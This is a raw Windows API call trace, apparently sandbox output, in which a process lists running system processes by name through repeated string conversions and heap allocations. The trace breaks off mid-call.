[0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x8f8bb8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winlogon.exe", lpUsedDefaultChar=0x0) returned 12 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8cd8 [0224.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8cd8) returned 1 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8cd8 [0224.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8cd8) returned 1 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901cd8 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8cd8 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=12, lpMultiByteStr=0x8f8bb8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services.exe", lpUsedDefaultChar=0x0) returned 12 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8d20 [0224.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8d20) returned 1 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8d20 [0224.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8d20) returned 1 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901d38 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeb70 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8d20 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x8f8bb8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8d68 [0224.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8d68) returned 1 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8d68 [0224.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8d68) returned 1 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901d98 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aebf8 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8d68 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x8f8bb8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsm.exe", lpUsedDefaultChar=0x0) returned 7 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8db0 [0224.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8db0) returned 1 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8db0 [0224.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8db0) returned 1 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901df8 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aec80 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8db0 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x8f8bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8df8 [0224.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8df8) returned 1 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8df8 [0224.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8df8) returned 1 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901e58 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aed08 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8df8 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x8f8bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0224.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8e40 [0224.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.939] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8e40) returned 1 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8e40 [0224.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8e40) returned 1 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901eb8 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aed90 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8e40 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x8f8bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8e88 [0224.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8e88) returned 1 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8e88 [0224.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8e88) returned 1 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901f18 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8e88 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x8f8bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8ed0 [0224.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8ed0) returned 1 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8ed0 [0224.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8ed0) returned 1 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901f78 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8ed0 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x8f8bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8f18 [0224.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8f18) returned 1 [0224.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8f18 [0224.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8f18) returned 1 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901fd8 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8f18 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x8f8bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodg.exe", lpUsedDefaultChar=0x0) returned 11 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8f60 [0224.941] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8f60) returned 1 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8f60 [0224.941] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8f60) returned 1 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x902038 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aefb0 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8f60 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x8f8bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8fa8 [0224.941] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8fa8) returned 1 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8fa8 [0224.941] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8fa8) returned 1 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x902098 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af038 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8fa8 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="userinit.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="userinit.exe", cchWideChar=12, lpMultiByteStr=0x8f8bb8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userinit.exe", lpUsedDefaultChar=0x0) returned 12 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8ff0 [0224.941] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.941] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8ff0) returned 1 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8ff0 [0224.941] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8ff0) returned 1 [0224.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x9020f8 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af0c0 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8ff0 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x8f8bb8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer.exe", lpUsedDefaultChar=0x0) returned 12 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9038 [0224.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9038) returned 1 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9038 [0224.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9038) returned 1 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af148 [0224.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8b70) returned 1 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x8f2868 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af1d0 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8b70 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9038 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x8f9038, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwm.exe", lpUsedDefaultChar=0x0) returned 7 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9038) returned 1 [0224.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x8f28c8 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9038 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x8f9038, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9080 [0224.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9038) returned 1 [0224.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9080) returned 1 [0224.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9080 [0224.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9080) returned 1 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x8f2928 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af2e0 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9080 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9038 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x8f9038, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 11 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f90c8 [0224.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9038) returned 1 [0224.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f90c8) returned 1 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f90c8 [0224.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f90c8) returned 1 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x8f2988 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af368 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f90c8 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9038 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x8f9038, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9110 [0224.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9038) returned 1 [0224.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9110) returned 1 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9110 [0224.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9110) returned 1 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x8f29e8 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af3f0 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9110 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9038 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x8f9038, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe", lpUsedDefaultChar=0x0) returned 12 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9158 [0224.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9038) returned 1 [0224.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9158) returned 1 [0224.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9158 [0224.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9158) returned 1 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x8f2a48 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af478 [0224.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9158 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 